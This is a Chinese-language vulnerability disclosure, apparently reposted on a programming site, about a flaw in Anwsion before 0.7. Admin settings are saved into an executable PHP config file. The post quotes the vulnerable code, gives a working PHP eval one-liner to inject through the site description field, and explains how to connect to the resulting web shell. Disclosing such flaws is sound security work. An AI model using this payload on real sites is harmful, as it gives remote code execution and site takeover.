好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Anwsion后台功能设计缺陷可获得SHELL - 网站安全

漏洞 影响 全版本。

结合Anwsion 0.7以下所有版本可导致站点被入侵。

设计缺陷代码如下 见75-96行 将网站后台配置保存到 数据库 同时又保存到了本地 PHP 文件 导致可通过写入一句话执行。 /app/admin/controller/c_setting_class.inc.php

//保存参数到数据库   $retval = $this->model('setting')->set_vars($vars);      //保存缓存文件   if(!$this->model('setting')->update_setting_config())   {    H::ajax_json_output(AWS_APP::RSM(null, "-1", '无法写入配置文件,请设置文件 system/config/setting.php 的权限为0777。'));   }      if ($retval)   {    ZCACHE::delete("setting_config");        H::ajax_json_output(AWS_APP::RSM(null, "1", " 系统 设置修改成功"));   }   else   {    H::ajax_json_output(AWS_APP::RSM(null, "-1", "系统设置修改失败"));   }  }

被写入的配置文件内容如下 system/config/setting.php

访问后台系统设置地址 http://sa.sebug.net/admin/setting/setting/group_id-1

在网站简介处添加一句话 \';eval($_POST[cmd]);//

 话管理工具连接一句话/system/config/setting.php 早期Anwsion 0.6版本或更早版本配置文件被写入/gzphp/config/setting.php 如果受到rewrite限制无法访问一句话文件 则直接通过一句话管理工具连接/index.php文件即可。

 

 

成功连接一句话文件。

 

修复方案: 等待官方补丁或者是关注近期更新。

漏洞发布之后将会通知开发者过来认领 避免被恶意利用。

不知为何 在漏洞预览中一句话代码会被添加多一个\ 莫非是防XSS而添加的? 不知这样在审核通过后可以浏览时是否同样会被多添加一个\ 否则将误导他人 测试失败。  

查看更多关于Anwsion后台功能设计缺陷可获得SHELL - 网站安全的详细内容...

  阅读:52次